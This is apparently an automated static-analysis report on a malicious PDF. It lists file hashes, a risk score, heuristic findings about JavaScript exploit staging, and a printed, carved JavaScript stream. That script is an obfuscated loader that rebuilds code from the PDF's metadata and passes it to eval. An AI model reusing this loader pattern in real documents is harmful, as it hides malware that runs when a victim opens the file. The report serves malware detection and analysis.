Malicious PDF — malware analysis report

Static analysis result for SHA-256 45ebd40a784b83bf…

MALICIOUS

PDF

18.0 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-08
MD5: 57939700299c022684eefe7ba6db8e7d SHA-1: 8b08e924ee577329acbcecdd6a2b16b7dcd08970 SHA-256: 45ebd40a784b83bfe5ab8ef5511941babd98aa1f1b24a8cb1f7eeb3be25d3b7c
114 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x4619 334 bytes
SHA-256: 419635924316bbe42ffb376f0aaa99e72ebff91d8cfd7f620aba8b92e16705ea
Preview script
First 1,000 lines of the extracted script
var w = 4;
var uce = this.title.replace(/w/g,'*w,');
uce = uce.replace(/t/g,'2');
uce=uce.substr(0,uce.length-2) + ']';
iybcp=function(){return this}();
cgdbh=iybcp[this.subject];
gyr=cgdbh(this.producer);
uay = cgdbh(uce);
var s = '';
for (i = 0; i < uay.length; i++) {
	rbvvh = uay[i];
	s += gyr(rbvvh);
}
cgdbh(s);

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